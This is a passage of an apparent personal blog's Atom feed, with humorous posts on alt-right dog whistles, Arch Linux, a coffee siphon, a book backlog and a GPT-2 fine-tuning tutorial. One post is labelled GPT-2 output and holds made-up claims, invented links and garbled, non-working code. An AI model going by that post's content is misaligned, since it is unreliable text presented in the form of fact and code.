<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://twitter.com/BeWaterHKG/status/1171156739493961728?s=20</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://shanghai.ist/2019/09/05/this-group-of-scholars-have-concluded-that-english-is-actually-a-chinese-dialect</div>
<div class="reference" id="reference-4"><a class="reference-link" href="#reference-4-backlink"><sup>[4]</sup></a>: http://www.worldstopexports.com/frances-top-10-exports/</div>
<div class="reference" id="reference-5"><a class="reference-link" href="#reference-5-backlink"><sup>[5]</sup></a>: http://www.bbc.com/future/story/20181207-how-ai-could-help-us-with-ancient-languages-like-sumerian</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Teach You, A Person Of The Alt-Right, How To Properly Conceal Your Nazism]]></title>
        <id>https://justin.duch.me/post/alt_right_steganography</id>
        <link href="https://justin.duch.me/post/alt_right_steganography"/>
        <updated>2019-09-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>When I was a dumb-ass teenager, like you I used to go on 4chan and think that
GamerGate was about ethics in game journalism. Thankfully, unlike you I never
went further down the rabbit hole after I realised that:</p>
<ol>
<li>You people are really mean, and</li>
<li>You people are really dumb.</li>
</ol>
<p>These are literally the only two things you need to be for me to not like
you.</p>
<p>Anyway, since my departure I've noticed that you folks have gotten really bad
at hiding the fact that you're white supremacists. At first I was interested
in your attempts to use <a href="https://en.wikipedia.org/wiki/Steganography">steganography</a> and was looking forward to see if
you could come up with anything clever. But upon closer inspection it's just
kinda sad how bad you all are at it.</p>
<p>The most egregious example of this has to be using the NATO phonetic alphabet.
Seriously, <strong>EVERYONE KNOWS WHAT THIS IS!</strong> You aren't clever by spelling out
the n-word with it.</p>
<p>A more recent and particularly pathetic attempt would be the (now banned)
subreddit <code class="prettyprint">r/frenworld</code>, where a bunch of you drew your beloved cartoon frog
Pepe as a clown and spouted a bunch of dog whistles (and just outright bigoted
shit) in baby speak. I'm sure you remember this yes? If you don't here's [a
refresher].</p>
<p>[a refresher]: https://www.reddit.com/r/TopMindsOfReddit/comments/bjwbln/rfrenworld<em>is</em>a<em>look</em>into<em>just</em>how<em>acceptable</em>and/</p>
<p>Now, I don't know what made you think talking like children would make people
take you seriously or whether you actually believed that no one would catch on
to how you called a certain group of people <em>'long nose frens'</em>, but holy fuck
this is just awful, like you aren't even trying. And I can't tell what's
worse, if you actually aren't trying or if you are and this is the best you
have.</p>
<p>Okay enough ranting, you must be thinking now: <em>'I GET IT, TELL ME HOW TO DO
IT BETTER ALREADY!'</em> First of all, you are WAY to close to me so STEP BACK and
secondly, that's what I'm going to do now.</p>
<p>The following sentence will explain the easiest and most effective way to hide
your hatred of minorities. No one will ever know that you hate <em>'the gays'</em> or
that you think black people are genetically inferior. It's a very simple
method that anyone could do:</p>
<blockquote>
  <p>Stop being a Nazi.</p>
</blockquote>
<p>If that's too hard (I don't see how it could be, but whatever) here are some
other things you could try:</p>
<ul>
<li><p>Cryptography: Encyrpt your messages! You could even use something like the
Engima code for extra irony (I actually think this would be hilarious and
implore you to do it). This is probably the safest way to make sure no one
knows what you're talking about, but it requires a lot of coordination.</p></li>
<li><p>Actual good steganography: The Wikipedia page I linked above has some decent
uses of it like hiding it in pictures and stuff, but I reccommend using one
based off Natural Language Processing (NLP).</p></li>
</ul>
<p>Something like <a href="http://web.archive.org/web/20210116092145/https://steganography.live/info">Stegasuras</a> would work really
well by using Natural Language as a cover signal which makes it pretty hard to
detect. It's an impressive piece of work which could have many applications,
not just for spewing racist shit on the internet. But if you want to use it
spew racist shit on the internet you can!</p>
<p>Look I know, I've done nothing but insult you and that's because I genuinely
don't like you, but I'm doing you a favour here by trying to make you look
less like an idiot. I know you wouldn't do the same.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[How To Subtly Include The Fact You Use Arch Linux Into Everyday Conversation]]></title>
        <id>https://justin.duch.me/post/i_use_arch_btw</id>
        <link href="https://justin.duch.me/post/i_use_arch_btw"/>
        <updated>2019-09-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>One of the biggest challenges faced by the world in this age is not knowing
how to tell people that you use Arch Linux in a natural manner. The most
common phrase when telling people this is:</p>
<blockquote>
  <p>I use Arch btw.</p>
</blockquote>
<p>This can be a very versatile phrase all thanks to the 'btw' given at the end
allowing you to say it during any context. Such as:</p>
<ul>
<li>"Wow! What a cute cat! I use Arch btw."</li>
<li>"Do you know where the stadium is? I use Arch btw."</li>
<li>"Comment allez-vous? I use Arch btw."</li>
</ul>
<p>As you can see these are all very socially acceptable things to say, with no
grammatical errors. However you may want something a bit more nuanced and this
is where I come in.</p>
<p>Today I, a person who has had social anxiety his entire life, am going to teach
you how to live your dreams and weave Arch Linux effortlessly into your
conversations. You will finally be able to prove how much smarter you are than
your peers because you use a Linux distro that doesn't have a GUI installer.
You will be invited to become the CEO of MENSA because they'll finally realise
that IQ is a terrible way of measuring intelligence and instead measure it by
how easily you are able to fix your computer after a <code class="prettyprint">sudo pacman -Syu</code>
inevitably destroys everything. And you'd have finally achieved something in
your life.</p>
<p>Now as a disclaimer, because I actually do have social anxiety, I don't talk to
very many people so these conversations may not be entirely accurate to real
life. However, I have read enough Tumblr threads to get the jist of how most
people talk, so I think I know what I'm doing.</p>
<p>Okay with that all out of the way, I'm going to be introducing some scenarios
and how you can <del>derail</del> divert the conversation topic into Arch Linux.</p>
<h2 id="meetingnewpeople">Meeting New People</h2>
<p>A very common topic people ask about when first meeting is their occupation.
This makes it very easy to include Arch Linux if you're a software developer
or do anything related with technology as everyone wants to know what
Operating System you use.</p>
<ul>
<li><strong>Them:</strong> "What do you do for work?"</li>
<li><strong>You:</strong> "I'm a HTML developer."</li>
<li><strong>Them:</strong> "Wow, that's neat! What Operating System do you use?"</li>
<li><strong>You:</strong> "I use Arch Linux."</li>
</ul>
<p>Again this makes it very easy if you do work in technology, but what if you
don't? Well in this scenario, in addition to your current occupation, you can
tell them what occupation you actually want.</p>
<ul>
<li><strong>Them:</strong> "What do you do for work?"</li>
<li><strong>You:</strong> "I'm a lawyer, but I hate it so much. I wish I was a PHP developer instead."</li>
<li><strong>Then:</strong> "Oh that must suck hopefully you'll become a PHP developer soon.
What Operating System do you use?"</li>
<li><strong>You:</strong> "I use Arch Linux."</li>
</ul>
<p>Easy right? On to the next.</p>
<h2 id="hangingoutwithfriends">Hanging Out With Friends</h2>
<p>This one is a bit harder for me to teach because I don't have any friends, but
if the never ending notifications from Windows has taught me anything, it's that
your friends will constantly ask for Operating System recommendations.</p>
<ul>
<li><strong>Them:</strong> "Hey friend, do you recommend Windows as an Operating System?"</li>
<li><strong>You:</strong> "No, Windows is not very good. Instead I recommend Arch Linux, it's what I
use."</li>
</ul>
<p>Now remember if you want to do this, you have to select the <code class="prettyprint">1</code> option when
Windows asks you "How likely would you recommend Windows to a friend?",
because otherwise you would be lying and that's not good.</p>
<h2 id="payingforyourbillataresturant">Paying For Your Bill At A Resturant</h2>
<p>Many Americans are already doing this technique so it's a pretty simple one.
Basically you just need to tip the server a very generous amount and take it
from there:</p>
<ul>
<li><strong>Them:</strong> "Thanks for the tip!"</li>
<li><strong>You:</strong> "No worries, it's all thanks to Free and Open Source Software like the
Operating System I use: Arch Linux, that I am able to save up and tip this
generous amount."</li>
</ul>
<p>With something like that you could even go further and talk about the evils of
proprietary software, hopefully converting the server to FOSS, thus doing two
good deeds in one day!</p>
<h2 id="filingabugreport">Filing A Bug Report</h2>
<p>This one is here as a breather in case the others were a bit to much to take
in (I know this stuff can be pretty complicated). The great thing about bug
reports is that the developer will always want to know what Operating System
you use! Here's a sample bug report you can send to any developer (make sure
to fill in the blanks):</p>
<ul>
<li>"Hello, I have a problem with [software], it [problem]. I'm using Arch
Linux. Thanks!"</li>
</ul>
<p>This is great for desktop software, but what if you're using a mobile
application? Arch Linux isn't on a mobile yet so you'll be lying if you said
you were using it. Thankfully, there's a pretty simple solution.</p>
<ul>
<li>"Hello, I have a problem with [software], it [problem]. I'm using iOS but
I'm sending this report from my Arch Linux machine. Thanks!"</li>
</ul>
<p>Sometimes developers will want to know where your sending the report from!
This makes an easy vector to inject Arch Linux.</p>
<h2 id="flirtingwithcuteboysatabar">Flirting With Cute Boys At A Bar</h2>
<p>Another piece of cake. Many boys will be impressed with someone who uses Arch
Linux so you can just start with that.</p>
<ul>
<li><strong>You:</strong> "Hey did you know that I use Arch Linux?"</li>
<li><strong>Them:</strong> <img src="/img/smash.png" alt="image-alternative" /></li>
</ul>
<p>And that's all! Now you know how to include Arch Linux into every single
conversation scenario! I hope you'll be able to put this information into good
use.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[This Post Does Not Exist]]></title>
        <id>https://justin.duch.me/post/this_post_does_not_exist</id>
        <link href="https://justin.duch.me/post/this_post_does_not_exist"/>
        <updated>2019-09-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This post was created using the GPT-2 transformer, for more info read my
previous post <a href="/post/this_post_does_not_exist_addendum">here</a>.</p>
<hr />
<p>Narendra Modi had a heck of a day today with a message and a promise, giving
away 300,000 dongles to his friends and family. On January 6th at 1pm ET, you
can read an in-depth look at how the test works at this link.</p>
<p>You can also find the source code at this repo here:
<a href="https://github.com/michael-hutchinson/Narendra-Raj/blob/master/release/narendrames.tar.gz">https://github.com/michael-hutchinson/Narendra-Raj/blob/master/release/narendrames.tar.gz</a></p>
<p>Here's how it works:</p>
<ul>
<li>Get a small set of data from a search engine.</li>
<li>To get a keyword, we use the index.html method on the page. Here are the
results for the query and the options that we provide:</li>
</ul>
<pre class="prettyprint linenums"><code><!DOCTYPE html>
<head>
<meta charset="utf-8">
<title>Narendra Modi's 300k dongles</title>
<link rel="stylesheet" href="https://code.google.com/p/narendra-niathan-andrew-gillis-reinhardt.html" />
<script>
var queryString = '<![CDATA[:exec code]]';

function 400() {
    queryString += '<br>';
    queryString.call('/data', 400);
    return <br>';
}

function getQueryString() {
    return new Date();
    if (queryString > '1' && queryString > '300') return false;
    queryString = queryString + '</script>';
}

function getUserTag() {
    var userTag = dongle.trim('/user', 200, 'ddd');
    this.userTag = userTag / / dongle/select * from users;
    userTag.addEventListener('data', 'UA-6449-REPORT_DOM', 400, userTag, 300, 'ddd');
    return new NandRibble(get_user(), userTag, 300);
}
</script>
</code></pre>
<p>Look at that! A big enough user tag to get everyone's attention. It's a Google
API request so we can use it to log in to our site. Now we can put the 300d on
the screen (sort of) while allowing the user to see the request. If they don't
want to see it, they can just ignore it. If they do, we'll send it without a
response and just let them in on the call.</p>
<p>I like to keep the API key public to prevent accidental use by third parties.
However, using the public key for authentication causes a security
vulnerability. So, we want to prevent accidental use. Turns out, I'm pretty
clever, and have been testing some pretty amazing authentication libraries
for this, trying out many of which provide security solutions similar to
this one. To see the results in action, run the following code:</p>
<pre class="prettyprint linenums"><code>require 'narendrames/robots/api'
let idx = 0;
var user = new NandRibble('NandRibble', 'robots', 'cb22e9b6843a61148ea3596a6311f387e');
function getUser() { return user.idx + 16; }
function getUser() { return new NandRibble('get_user', 'robots'); }
let userdata = new NandRibble('get_userdata', 'robots');
userdata.putVisible( true );
</code></pre>
<p>As you can see, the 300d is actually much cheaper than a normal cookie and
also doesn't require any special setup. Although it's still quite a few jigs
from me.</p>
<p>If you would like to learn more about authentication in animals, read this article!</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[This Post Does Not Exist [Addendum]]]></title>
        <id>https://justin.duch.me/post/this_post_does_not_exist_addendum</id>
        <link href="https://justin.duch.me/post/this_post_does_not_exist_addendum"/>
        <updated>2019-09-01T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>When I first created this blog, I had exactly 39 ideas for posts and
unfortunately I haven't come up with any more ideas since then. So starting
tomorrow I will only be releasing posts that were created using a GPT-2
transformer model trained on my past posts. GPT-2 is the advanced version of a
transformer-based model that was trained to generates synthetic text samples
from a variety of user-prompts as input. For more info view OpenAI's <a href="https://openai.com/blog/better-language-models/">blog
post</a>. Today I will go
through the steps I took to train and create it.</p>
<p>The original version has 1.5GB parameters but the OpenAI team did not
released the pre-trained model due to their concerns about malicious
applications of the technology. Having said that, they did released a smaller
version which has 117MB parameters that can be retrained on custom text
dataset which we will be using instead.</p>
<h2 id="setup">Setup</h2>
<p>First we need to get our training data. You can use any kind of text data that
you can find as long as they are in English, so for me these were obviously my posts
which are <a href="https://github.com/beanpuppy/blog.justinduch.com/tree/master/_posts">all in markdown</a>. I removed all the markdown formatting first
because I just wanted to get plain text samples first before experimenting
with whether it could also create correct markdown using this script:</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment">#!/usr/bin/env python</span>

<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> bs4 <span class="hljs-keyword">import</span> BeautifulSoup
<span class="hljs-keyword">from</span> markdown <span class="hljs-keyword">import</span> markdown

files = os.listdir(<span class="hljs-string">&#x27;./_articles&#x27;</span>)

data = <span class="hljs-string">&#x27;&#x27;</span>

<span class="hljs-keyword">for</span> f <span class="hljs-keyword">in</span> files:
    <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(os.path.join(<span class="hljs-string">&#x27;./_articles/&#x27;</span> + f), <span class="hljs-string">&#x27;r&#x27;</span>) <span class="hljs-keyword">as</span> f_:
        html = markdown(f_.read())

    text = BeautifulSoup(html, features=<span class="hljs-string">&quot;html.parser&quot;</span>).findAll(text=<span class="hljs-literal">True</span>)

    <span class="hljs-comment"># ignore first lines which are just metadata</span>
    text = <span class="hljs-string">&#x27;&#x27;</span>.join(text[<span class="hljs-number">2</span>:])
    data += text + <span class="hljs-string">&#x27;\n\n&lt;|endoftext|&gt;\n&#x27;</span>

<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;training.txt&#x27;</span>, <span class="hljs-string">&#x27;w&#x27;</span>) <span class="hljs-keyword">as</span> f_:
    f_.write(data)
</code></pre>
<p>This uses a markdown parser to convert it into HTML and then get all the text
with <code class="prettyprint">BeautifulSoup</code>. I also combined all the data into one <code class="prettyprint">txt</code> file and
delimited each post with <code class="prettyprint">&lt;|endoftext|&gt;</code>.</p>
<p>Now we need to clone the GPT-2 <a href="https://github.com/nshepperd/gpt-2">repository</a> and setup the environment:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">git <span class="hljs-built_in">clone</span> https://github.com/nshepperd/gpt-2
python3 -m venv <span class="hljs-built_in">env</span>
<span class="hljs-built_in">source</span> <span class="hljs-built_in">env</span>/bin/activate
pip install -r requirements.txt
</code></pre>
<p>You may also need to do some extra steps as it didn't work out of the box for
me.</p>
<ul>
<li>Install more packages:</li>
</ul>
<pre class="prettyprint linenums"><code class="bash language-bash">pip install numpy tensorflow
</code></pre>
<ul>
<li>Fix module linking (optional):</li>
</ul>
<p>Because the module linking is kinda messed up I will prepend all my python
commands with <code class="prettyprint">PYTHONPATH='./src'</code> to add the <code class="prettyprint">src</code> directory to the path. If
you don't want to do this and run everything manually you can move <code class="prettyprint">encode.py</code>
and <code class="prettyprint">decode.py</code> into the <code class="prettyprint">src</code> directory and run everything from there.</p>
<p>Now we need to download the base model:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">python download_model.py 117M
</code></pre>
<p>Move the training data you created at the start into the project and run the
following command.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">PYTHONPATH=<span class="hljs-string">&#x27;./src&#x27;</span> python encode.py training.txt training.npz
</code></pre>
<p>Remember that you don't need to add <code class="prettyprint">PYTHONPATH</code> if you're in the <code class="prettyprint">src</code>
directory.</p>
<h2 id="training">Training</h2>
<p>To start training use:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">PYTHONPATH=<span class="hljs-string">&#x27;./src&#x27;</span> python train.py --dataset training.npz
</code></pre>
<p>You may start seeing lots of warnings from numpy and tensorflow, but you can
ignore them. After a while you should see output like this:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">Loading dataset...
100%|██████████████████████████████████████████| 1/1 [00:00&lt;00:00, 70.56it/s]
dataset has 43217 tokens
Training...
[1 | 21.85] loss=3.25 avg=3.25
[2 | 39.46] loss=3.41 avg=3.33
[3 | 55.75] loss=3.63 avg=3.43
[4 | 81.97] loss=3.04 avg=3.33
[5 | 105.26] loss=2.95 avg=3.25
[6 | 130.92] loss=3.26 avg=3.26
[7 | 150.76] loss=3.76 avg=3.33
[8 | 168.35] loss=3.04 avg=3.29
[9 | 186.66] loss=3.67 avg=3.34
[10 | 207.01] loss=3.18 avg=3.32
[11 | 225.60] loss=3.34 avg=3.32
</code></pre>
<p>We can decipher the output <code class="prettyprint">[6 | 130.92] loss=3.26 avg=3.26</code> as follows:</p>
<ul>
<li><p>6: Refers to the number of training step. Think of it as a counter that will
increase by 1 after each run.</p></li>
<li><p>130.92: Time elapsed since the start of training in seconds. You can use the
first step as reference to determine how long does it take to run one step.</p></li>
<li><p>loss and avg: Both of them refers to the cross-entropy (log loss) and the
average loss. You can use this to determine the performance of your model. In
theory, as training steps increases, the loss should decrease until it
converge at certain value. The lower, the better.</p></li>
</ul>
<p>You can stop training at any time with <code class="prettyprint">Ctrl-c</code> and resume with the same
command.</p>
<p>By default, the model will be saved once every 1000 steps and a sample will be
generated once every 100 steps. After you have interrupted the process, a
checkpoint folder and samples folder will be generated for you. Inside each
folder, you can find another folder called <code class="prettyprint">run1</code> (you can modify this via the
run_name argument). Samples will contain the example output from the model,
you can view it in any text editor to evaluate your model. The checkpoint
folder will contains the necessary data for you to resume your training in the
future. Each saved model will contain a post-fix according to the number of
steps ran.</p>
<p>I trained 900 steps over two days with an average loss of 0.45.</p>
<h2 id="generatesamples">Generate Samples</h2>
<p>Copy the <code class="prettyprint">checkpoints/run1</code> directory to the <code class="prettyprint">models</code> directory, renaming it
if you want.</p>
<pre class="prettyprint linenums"><code class="bash language-bash"><span class="hljs-built_in">cp</span> -rf checkpoints/run1 models/mymodel
</code></pre>
<p>Copy some other files from <code class="prettyprint">models/117M</code>.</p>
<pre class="prettyprint linenums"><code class="bash language-bash"><span class="hljs-built_in">cp</span> models/117M/encoder.json models/mymodel/
<span class="hljs-built_in">cp</span> models/117M/hparams.json models/mymodel/
<span class="hljs-built_in">cp</span> models/117M/vocab.bpe models/mymodel/
</code></pre>
<h3 id="unconditionalsamples">Unconditional Samples</h3>
<p>Unconditional samples are randomly generated without any user input. This is
what I'm going to use.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">PYTHONPATH=<span class="hljs-string">&#x27;./src&#x27;</span> python src/generate_unconditional_samples.py --model-name mymodel
</code></pre>
<p>This will keep generating samples until you terminate it.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Yet Another Blog Rewrite]]></title>
        <id>https://justin.duch.me/post/blog_rewrite2</id>
        <link href="https://justin.duch.me/post/blog_rewrite2"/>
        <updated>2019-08-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Do you remember <a href="/post/blog2_release">seven months ago</a> when I said
development of this blog was finished and I was just going to make small
changes from now on? Turns out that was a hecking lie.</p>
<p>I've been very bored the last few weeks, so I've decided that I want rewrite
this site in an entirely different technology stack. I've had a bit of
deliberation on what the new stack will be but the basic jist of things that
are changing is this:</p>
<ul>
<li>Svelte + NodeJS instead of jQuery + Python for client/server side code.</li>
<li>Redis instead of MariaDB for storing emails and caching articles.</li>
<li>Dokku for deployment instead of a bunch of garbage Shell scripts.</li>
<li>Images are going to go through a CDN instead of me serving them myself.</li>
</ul>
<h3 id="whyareyouusingajsframework">Why are you using a JS framework?</h3>
<p>Yes, a static site generator like Hugo or Jekyll would probably work better
and be much more performant. But that crap is boring and I like
over-engineering things.</p>
<h3 id="whysvelteinsteadofreactorvue">Why Svelte instead of React or Vue?</h3>
<p>React sucks big ween and I can't be bothered to learn Vue. And to be honest,
Vue is probably garbage as well.</p>
<p>I was going to wait until Svelte had TypeScript support before doing this, but
then I remembered that I don't actually care about TypeScript.</p>
<h3 id="youshouldwriteitinrustinstead">You should write it in Rust instead</h3>
<p>That is a very good idea and I was almost going to do it until I found out
that there are no good Markdown to HTML crates and I don't want to write my
own. Maybe I'll do it on the next rewrite.</p>
<h3 id="whatsyourfavouriteicecreamflavour">What's your favourite ice cream flavour?</h3>
<p>Stick to questions about the topic at hand please.</p>
<h3 id="whatswrongwithmariadb">What's wrong with MariaDB?</h3>
<p>I really don't need a relational database for this stuff and I hate
configuring the <code class="prettyprint">my.cnf</code> file.</p>
<h3 id="whywereyouusingabunchofgarbageshellscriptsinthefirstplace">Why were you using a bunch of garbage Shell scripts in the first place?</h3>
<p>I've never claimed to be smart.</p>
<h3 id="whatsupwiththetriangle">What's up with the triangle?</h3>
<p>I don't know what to draw and it was the first shape that came into mind.</p>
<h3 id="whenwillthisbedone">When will this be done?</h3>
<p>I have no idea.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Book Backlog]]></title>
        <id>https://justin.duch.me/post/book_backlog</id>
        <link href="https://justin.duch.me/post/book_backlog"/>
        <updated>2019-08-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Did you know that I'm actually the only person in the entire world that reads
books? What an interesting <strong>fact</strong> am I right? But unfortunately this means
that many books that I own that have never been read by anyone, ever in the
history of the universe (because I have not read them yet). Today we will go
through them all.</p>
<p>But first here are the books that I've started reading a while ago, but never
bothered to finish:</p>
<ul>
<li><p><strong>George Orwell - 1894</strong>: This was one of the first book I've ever bought
with my own money (it was like $5 and I was 14). I know you might be mad at me
for not ever finishing such a classic, but I only read it in preparation for
Metal Gear Solid V and I already knew the ending, so I got kinda bored.</p></li>
<li><p><strong>Kurt Vonnegut - Player Piano</strong>: I like this book. I don't have much to say
about it, I was about halfway through it but then I started wathcing JoJo's
Bizzare Adventure and I gave up on every other piece of media because I didn't
believe anything could top it.</p></li>
<li><p><strong>Brian Kernighan and Dennis Ritchie - The C Programming Language</strong>: C is
actually a very easy language, I didn't really need a book for it.</p></li>
<li><p><strong>Guy Debord - The Society of the Spectacle</strong>: This is a political theory
book. I also don't understand any of it. It was originally written in French
and it's English translation is <strong><em>very</em></strong> literal. I'm probably just going to
buy the French version and read that instead.</p></li>
</ul>
<p>Anyway time to talk about the books I've never read. Now I just realised that
I won't actually have that much to say about these books because, you know…
I've not read them, so I'll just give you a quote of something on the back of
the book and whatever witty commentary I can come up with. If any of these
sound interesting to you, I invite you to read them instead of me.</p>
<h3 id="randallmunroewhatif">Randall Munroe - what if?</h3>
<p>"HIDDEN FEATURE: The inside of this book has words and pictures."</p>
<p>This is a book by the author of the only good webcomic on the internet:
<a href="https://xkcd.com">xkcd</a>. It's just Randall Munroe answering questions sent in by readers.
Here's an example of a question I found by opening a random page: "What would
happen if you made a periodic table out of cube-shaped bricks, where each
brick was made of the corresponding element?" There's also a new book being
released by the author later this year called "how to". I've already
pre-ordered it so you might as well add it to this list.</p>
<h3 id="adrianneweyhowtobuildacar">Adrian Newey - How To Build A Car</h3>
<p>"Adrian Newey has created more winners than all the super-brain computers in
Formula One put together - The Times"</p>
<p>If you can't tell by the quote, Adrian Newey is an engineer in Formula One and
is arguably the best (I'd say Ross Brawn is a close second). This book goes
through his 35 year career as a motorsport engineer.</p>
<h3 id="scottwlaschindomainmodellingmadefunction">Scott Wlaschin - Domain Modelling Made Function</h3>
<p>"Discover why functional programming and DDD lead naturally to
service-oriented architectures."</p>
<p>I've always wanted to dive into functional programming and this seemed to be a
good book that teaches it as well as domain-driven design (DDD). I've watched
a few talks by the author and the points he brings to why FP and DDD should be
used are quite interesting.</p>
<h3 id="martinkleppmanndesigningdataintensiveapplications">Martin Kleppmann - Designing Data-Intensive Applications</h3>
<p>"How do you make sense of all these buzzwords?"</p>
<p>According to one guy on Stack Overflow, this is one of the best software
engineering books to read to understand, design and implement data
infrastructure and systems. Never read it so I can't say it's true, but it is
one of the biggest books I own so that must count for something.</p>
<h3 id="ryannorthhowtoinventeverything">Ryan North - How To Invent Everything</h3>
<p>"Herbivorous dinosaurs don't want to eat you."</p>
<p>I only bought this based on the title, I actually have no idea what it's
about. Hopefully it will teach me how to cook or something, because that's
something I really need to learn.</p>
<h3 id="keithtannermazdamx5miata">Keith Tanner - Mazda MX-5 Miata</h3>
<p>"It is without question the most successful modern sports car…"</p>
<p>This is a book about owning and maintaining a MX-5. Considering actually own a 21
year old MX-5, this is probably something I should read.</p>
<h3 id="tevorleggettjapanseschess">Tevor Leggett - Japanses Chess</h3>
<p>"This makes for extremely exciting, dynamic gameplay in which momentum can
quickly shift back and forth between players."</p>
<p>I bought a shogi board five months ago after finishing Persona 5. I still have
no idea how to play shogi.</p>
<h3 id="bartoszmilewskicategorytheoryforprogrammers">Bartosz Milewski - Category Theory For Programmers</h3>
<p>"Category Theory is one of the most abstract branches of mathematics."</p>
<p>Math scares me, but this book has cute animal illustrations so I thought I
would be able to go through it. And it says that it's "For Programmers"!
That's me!</p>
<h3 id="alosguinutdresslikeaparisian">Aloïs Guinut - Dress Like A Parisian</h3>
<p>"…a wise and witty guide…"</p>
<p>Did you know that Japanese tourists visiting Paris often find it so
disappointing that they become physically sick?<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a> This has nothing to do
with the book, I thought it was a fun fact.</p>
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Paris_syndrome</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[An Idiot Teaches You How To Use A Coffee Siphon]]></title>
        <id>https://justin.duch.me/post/coffee_siphon</id>
        <link href="https://justin.duch.me/post/coffee_siphon"/>
        <updated>2019-07-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Hello, today I will teach you how to use a coffee siphon (also known as a
vacuum pot). I've been looking at other cooking tutorials on the internet for
a reference on how to structure this and they all seemed to start with a
personal anecdote, so here's mine:</p>
<p>Two years ago I intentionally let my phone die, leaving me completely lost in
Tokyo. I had a vague understanding of the layout of Tokyo due to all the anime
and video games I consume, but I had no idea how to get back to the Airbnb.
While trying to find my way, I made a stop into a café and that's when I first
discovered coffee siphons. I ordered some coffee and the owner (I think?)
explained how it works. When I got back home I bought a coffee siphon off
Amazon and tried to brew some coffee using his instructions.</p>
<p>Also please note that he explained it in Japanese, a language I don't
understand, so I might be doing everything wrong. But I've been doing it like
this for two years and I think it tastes okay so it's probably close to
correct.</p>
<p>That's probably enough anecdote for today, let's start!</p>
<p>Here's what you need:</p>
<p><img src="/img/coffee-01.png" alt="image-alternative" /></p>
<ul>
<li>Coffee siphon + filter.</li>
<li>Butane burner.</li>
<li>Coffee beans + grinder.</li>
<li>Water.</li>
<li>Spoon.</li>
</ul>
<p>First you need to grind the coffee beans (I don't know how much you need to
grind). Then you boil some water, I also don't know how much to boil but you
just need enough to fill it.</p>
<p><strong>Note:</strong> When you grind the coffee, make it as course as possible so it doesn't
go through the filter.</p>
<p>Pour the water into the bottom part.</p>
<p>Now put the filter on the top part and put the top part on the bottom part (I
don't know what they're called), but don't completely seal it! Just let the
top part rest on the bottom part at an angle. I don't know why, I think it's
so it's quicker to seal when we actually want to. After that put the butane
burner under it and light it up.</p>
<p><img src="/img/coffee-02.png" alt="image-alternative" /></p>
<p>Keep the heat at like max or something and wait until the water starts to
bubble. When it does, seal the bottom part with the top part and turn the heat
down on the butane burner. If you did it correctly the water should be moving
from the bottom part to the top part. This is because of physics I think.</p>
<p><img src="/img/coffee-03.png" alt="image-alternative" /></p>
<p>After all the water has gone to the top part, dump the coffee grounds in and
stir it for like ten seconds or something. I think you could also have the
coffee grounds in there from the start, but I've always put them in after.</p>
<p><img src="/img/coffee-04.png" alt="image-alternative" /></p>
<p>After like two minutes, turn off the butane burner. Now the coffee should be
going to the bottom part, like this:</p>
<p><img src="/img/coffee-05.png" alt="image-alternative" /></p>
<p>Now you can take the top part off and pour the coffee into a cup.</p>
<p><img src="/img/coffee-06.png" alt="image-alternative" /></p>
<p>I put milk in my one. I used to drink it black, but that was because I didn't
know you could put milk in coffee.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Why Vim?]]></title>
        <id>https://justin.duch.me/post/why_vim</id>
        <link href="https://justin.duch.me/post/why_vim"/>
        <updated>2019-07-14T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I've talked about Vim a lot in this blog. It's obvious that I'm quite a fan on
Vim, you could even call me a fan-boy, I would too! But I've never
addressed why I use Vim. <a href="http://www.viemu.com/a-why-vi-vim.html">This post by Jon Beltran de
Heredia</a> goes over some of the more
common points of why Vim is so widely used by correcting various
misconceptions about the editor. It's a great post and I highly recommend
reading it, but I'm going to tackle the question at a slightly different angle.</p>
<p>Think back to LING111, your first uni course about linguistics. Do you
